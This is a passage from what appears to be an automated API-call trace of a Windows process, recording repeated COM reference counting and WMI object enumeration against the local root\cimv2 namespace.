Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6103410) returned 0x0 [0067.277] IUnknown:Release (This=0x6103410) returned 0x3 [0067.277] IUnknown:Release (This=0x6103410) returned 0x2 [0067.277] IUnknown:Release (This=0x6103410) returned 0x1 [0067.277] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.277] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.277] IUnknown:AddRef (This=0x6103410) returned 0x2 [0067.277] IWbemClassObject:Get (in: This=0x6103410, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.277] IWbemClassObject:Get (in: This=0x6103410, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.277] IWbemClassObject:Get (in: This=0x6103410, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.278] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.278] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.278] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.278] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.278] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6103f98, puReturned=0x2e27944*=0x1) returned 0x0 [0067.279] IUnknown:QueryInterface (in: This=0x6103f98, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6103f98) returned 0x0 [0067.279] IUnknown:QueryInterface (in: This=0x6103f98, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.279] IUnknown:QueryInterface (in: This=0x6103f98, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.279] IUnknown:AddRef (This=0x6103f98) returned 0x3 [0067.279] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.279] IUnknown:QueryInterface (in: This=0x6103f98, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6103f9c) returned 0x0 [0067.279] IMarshal:GetUnmarshalClass (in: This=0x6103f9c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.279] IUnknown:Release (This=0x6103f9c) returned 0x3 [0067.279] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.279] IUnknown:AddRef (This=0x6103f98) returned 0x4 [0067.280] IUnknown:QueryInterface (in: This=0x6103f98, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.280] IUnknown:Release (This=0x6103f98) returned 0x3 [0067.280] IUnknown:Release (This=0x6103f98) returned 0x2 [0067.280] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.280] IUnknown:AddRef (This=0x6103f98) returned 0x3 [0067.280] IUnknown:QueryInterface (in: This=0x6103f98, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6103f98) returned 0x0 [0067.280] IUnknown:Release (This=0x6103f98) returned 0x3 [0067.280] IUnknown:Release (This=0x6103f98) returned 0x2 [0067.280] IUnknown:Release (This=0x6103f98) returned 0x1 [0067.280] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.280] IUnknown:AddRef (This=0x6103f98) returned 0x2 [0067.280] IWbemClassObject:Get (in: This=0x6103f98, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.280] IWbemClassObject:Get (in: This=0x6103f98, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.280] IWbemClassObject:Get (in: This=0x6103f98, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.280] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.280] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.281] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.281] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104130, puReturned=0x2e27944*=0x1) returned 0x0 [0067.281] IUnknown:QueryInterface (in: This=0x6104130, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6104130) returned 0x0 [0067.281] IUnknown:QueryInterface (in: This=0x6104130, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.281] IUnknown:QueryInterface (in: This=0x6104130, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.281] IUnknown:AddRef (This=0x6104130) returned 0x3 [0067.282] IUnknown:QueryInterface (in: This=0x6104130, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6104134) returned 0x0 [0067.282] IMarshal:GetUnmarshalClass (in: This=0x6104134, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.282] IUnknown:Release (This=0x6104134) returned 0x3 [0067.282] IUnknown:AddRef (This=0x6104130) returned 0x4 [0067.282] IUnknown:QueryInterface (in: This=0x6104130, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.282] IUnknown:Release (This=0x6104130) returned 0x3 [0067.282] IUnknown:Release (This=0x6104130) returned 0x2 [0067.282] IUnknown:AddRef (This=0x6104130) returned 0x3 [0067.282] IUnknown:QueryInterface (in: This=0x6104130, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6104130) returned 0x0 [0067.282] IUnknown:Release (This=0x6104130) returned 0x3 [0067.282] IUnknown:Release (This=0x6104130) returned 0x2 [0067.282] IUnknown:Release (This=0x6104130) returned 0x1 [0067.282] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.282] IUnknown:AddRef (This=0x6104130) returned 0x2 [0067.282] IWbemClassObject:Get (in: This=0x6104130, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.282] IWbemClassObject:Get (in: This=0x6104130, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.283] IWbemClassObject:Get (in: This=0x6104130, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.283] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.283] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.283] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.283] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61042c8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.283] IUnknown:QueryInterface (in: This=0x61042c8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61042c8) returned 0x0 [0067.284] IUnknown:QueryInterface (in: This=0x61042c8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.284] IUnknown:QueryInterface (in: This=0x61042c8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.284] IUnknown:AddRef (This=0x61042c8) returned 0x3 [0067.284] IUnknown:QueryInterface (in: This=0x61042c8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61042cc) returned 0x0 [0067.284] IMarshal:GetUnmarshalClass (in: This=0x61042cc, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.284] IUnknown:Release (This=0x61042cc) returned 0x3 [0067.284] IUnknown:AddRef (This=0x61042c8) returned 0x4 [0067.284] IUnknown:QueryInterface (in: This=0x61042c8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.284] IUnknown:Release (This=0x61042c8) returned 0x3 [0067.284] IUnknown:Release (This=0x61042c8) returned 0x2 [0067.284] IUnknown:AddRef (This=0x61042c8) returned 0x3 [0067.284] IUnknown:QueryInterface (in: This=0x61042c8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61042c8) returned 0x0 [0067.284] IUnknown:Release (This=0x61042c8) returned 0x3 [0067.284] IUnknown:Release (This=0x61042c8) returned 0x2 [0067.284] IUnknown:Release (This=0x61042c8) returned 0x1 [0067.284] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.285] IUnknown:AddRef (This=0x61042c8) returned 0x2 [0067.285] IWbemClassObject:Get (in: This=0x61042c8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.285] IWbemClassObject:Get (in: This=0x61042c8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.285] IWbemClassObject:Get (in: This=0x61042c8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.285] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.285] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.285] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.285] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104460, puReturned=0x2e27944*=0x1) returned 0x0 [0067.286] IUnknown:QueryInterface (in: This=0x6104460, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6104460) returned 0x0 [0067.286] IUnknown:QueryInterface (in: This=0x6104460, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.286] IUnknown:QueryInterface (in: This=0x6104460, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.286] IUnknown:AddRef (This=0x6104460) returned 0x3 [0067.286] IUnknown:QueryInterface (in: This=0x6104460, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6104464) returned 0x0 [0067.286] IMarshal:GetUnmarshalClass (in: This=0x6104464, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.286] IUnknown:Release (This=0x6104464) returned 0x3 [0067.286] IUnknown:AddRef (This=0x6104460) returned 0x4 [0067.286] IUnknown:QueryInterface (in: This=0x6104460, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.286] IUnknown:Release (This=0x6104460) returned 0x3 [0067.286] IUnknown:Release (This=0x6104460) returned 0x2 [0067.286] IUnknown:AddRef (This=0x6104460) returned 0x3 [0067.286] IUnknown:QueryInterface (in: This=0x6104460, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6104460) returned 0x0 [0067.287] IUnknown:Release (This=0x6104460) returned 0x3 [0067.287] IUnknown:Release (This=0x6104460) returned 0x2 [0067.287] IUnknown:Release (This=0x6104460) returned 0x1 [0067.287] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.287] IUnknown:AddRef (This=0x6104460) returned 0x2 [0067.287] IWbemClassObject:Get (in: This=0x6104460, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.287] IWbemClassObject:Get (in: This=0x6104460, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.287] IWbemClassObject:Get (in: This=0x6104460, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.287] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.287] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.287] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.287] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61045f8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.288] IUnknown:QueryInterface (in: This=0x61045f8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61045f8) returned 0x0 [0067.288] IUnknown:QueryInterface (in: This=0x61045f8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.288] IUnknown:QueryInterface (in: This=0x61045f8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.288] IUnknown:AddRef (This=0x61045f8) returned 0x3 [0067.288] IUnknown:QueryInterface (in: This=0x61045f8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61045fc) returned 0x0 [0067.288] IMarshal:GetUnmarshalClass (in: This=0x61045fc, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: 